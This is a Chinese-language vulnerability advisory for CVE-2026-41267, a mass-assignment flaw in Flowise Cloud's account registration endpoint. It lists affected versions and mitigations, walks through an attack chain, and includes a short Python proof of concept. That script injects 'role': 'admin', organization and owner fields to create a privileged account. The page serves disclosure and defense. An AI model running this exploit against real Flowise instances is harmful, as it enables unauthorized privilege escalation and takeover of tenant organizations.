IPBUF安全漏洞报告
English
CVE-2026-41267 CVSS 8.1 高危

CVE-2026-41267 Flowise批量赋值漏洞

披露日期: 2026-04-23

漏洞信息

漏洞编号
CVE-2026-41267
漏洞类型
批量赋值漏洞
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Flowise

相关标签

批量赋值权限提升FlowiseJSON注入

漏洞概述

Flowise是一个用于构建定制化大语言模型流程的拖放式用户界面。在3.1.0版本之前,Flowise Cloud的账户注册端点存在不安全的批量赋值(JSON注入)漏洞。未经身份验证的攻击者可以在账户创建过程中注入服务器管理的字段和嵌套对象。这导致攻击者能够操纵客户端控制的元数据,如所有权信息、时间戳、组织关联和角色映射,从而在多租户环境中破坏信任边界,可能导致权限提升或数据泄露。

技术细节

该漏洞的根源在于Flowise Cloud账户注册接口未能正确过滤用户输入的JSON数据,导致存在批量赋值漏洞。在正常业务逻辑中,服务器应当严格控制诸如用户ID、角色、所属组织、创建时间等敏感字段。然而,由于存在此漏洞,攻击者可以在发送注册请求的JSON数据包中,恶意添加或修改这些服务器端管理的字段。具体利用方式为:攻击者向注册端点发送特制的HTTP POST请求,其中包含额外的键值对(例如{'role': 'admin', 'organizationId': 'target_org'})。由于服务器未对这些字段进行白名单验证,直接将请求体绑定到用户对象模型,导致这些恶意数据被持久化到数据库中。这允许攻击者在无需认证的情况下,创建具有高权限的账户或接管特定组织,完全绕过应用程序的访问控制检查,实现从匿名用户到管理员的权限提升。

攻击链分析

STEP 1
侦察
攻击者识别目标Flowise Cloud实例及其账户注册API端点。
STEP 2
构造Payload
攻击者构建包含恶意JSON数据的HTTP POST请求,在合法注册字段中插入‘role’、‘organizationId’等服务器管理字段。
STEP 3
发送请求
攻击者向注册端点发送特制的请求,无需任何身份验证。
STEP 4
利用漏洞
后端服务器因存在批量赋值缺陷,直接将用户提交的恶意数据绑定到用户对象并存储到数据库。
STEP 5
权限提升
攻击者使用新创建的账户登录,获得管理员权限或访问目标组织资源的权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL for the vulnerable registration endpoint target_url = "https://target-flowise-instance.com/api/v1/register" # Malicious payload exploiting mass assignment # Injecting server-managed fields to escalate privileges payload = { "email": "[email protected]", "password": "StrongPassword123!", "username": "hacker", # Vulnerable parameters: Overriding server-side logic "role": "admin", "organizationId": "target-company-uuid", "isOwner": True } try: # Sending the crafted registration request response = requests.post(target_url, json=payload) if response.status_code == 201 or response.status_code == 200: print("[+] Exploit successful! Privileged account created.") print(f"[+] Response body: {response.text}") else: print("[-] Request failed. Check if the instance is vulnerable.") print(f"[-] Status code: {response.status_code}") except Exception as e: print(f"[!] An error occurred: {e}")

影响范围

Flowise < 3.1.0

防御指南

临时缓解措施
建议立即将Flowise升级至3.1.0或更高版本以修复此漏洞。如果无法立即升级,应在WAF或API网关层实施严格的输入过滤规则,拦截包含敏感字段(如role、isOwner、organizationId)的注册请求,确保仅允许用户名、邮箱和密码等客户端字段通过。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表